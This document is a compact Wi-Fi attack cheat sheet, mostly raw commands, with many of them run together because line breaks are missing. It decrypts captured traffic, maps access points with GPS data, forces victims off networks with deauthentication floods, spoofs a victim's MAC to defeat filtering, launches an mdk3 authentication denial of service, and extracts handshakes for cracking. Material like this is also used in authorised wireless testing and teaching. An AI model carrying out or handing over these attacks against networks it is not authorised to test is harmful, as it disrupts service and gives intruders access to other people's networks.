Wifi - Additional Tricks and Tools

airdecap-ng -b $AP_MAC open-network.cap* -dec.cap: stripped version of the file

airdecap-ng -w $WEP_KEY wep.cap

airdecap-ng -e $AP_SSID -p $WPA_PASSWORD tkip.cap

airmon-ng start wlan0 3airserv-ng -p 1337 -c 3 -d mon0airodump-ng -c 3 --bssid $AP_MAC $HOST:$PORT

airmon-ng start wlan0 3# create the at0 interfaceairtun-ng -a $AP_MAC -w $WEP_KEY mon0# the interface will auto decrypt packets

airgraph-ng -i wifu-01.csv -g CAPR -o wifu-capr.png# color- green: wpa- yellow: wep- red: open- black: unknown

airgraph-ng -i wifu-01.csv -g CPG -o wifu-cpg.png

kismet[enter][enter][tab][close]# Select a source and begin a monitoringKismet > Add source > wlan0 > Add.nettxt: data.pcapdump: wireshark format

# giskismet: kismet inside a SQL database> requires a GPS receivergpsd -n -N -D4 /dev/ttyUSB0-N : foreground -D : debugging level# kismet will gather SSID and GPS locationgiskismet -x kismet.netxml# generate a kml file (Google Earth)giskismet -q "select * from wireless" -o allaps.kmlgiskismet -q "select * from wireless where Encryption='WEP'" -o wepaps.kml

# Find Hidden SSIDaireplay-ng -0 20 -a <BSSID> -c <VictimMac> mon0# Mac Filteringmacchanger --mac <VictimMac> wlan0monaireplay-ng -3 -b <BSSID> -h <FakedMac> wlan0mon# MAC CHANGERifconfig wlan0mon downmacchanger --mac <macVictima> wlan0monifconfig wlan0mon up# Deauth Globalaireplay-ng -0 0 -e hacklab -c FF:FF:FF:FF:FF:FF wlan0mon# Authentication DoS Modemdk3 wlan0mon a -a $AP_MAC# Tshark - Filter and dislay datatshark -r Captura-02.cap -Y "eapol" 2>/dev/nulltshark -i wlan0mon -Y "wlan.fc.type_subtype==4" 2>/dev/nulltshark -r Captura-02.cap -Y "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb:b1:c5:53" 2>/dev/null# Convert .cap with handshake to .hccapaircrack-ng -J network network.cap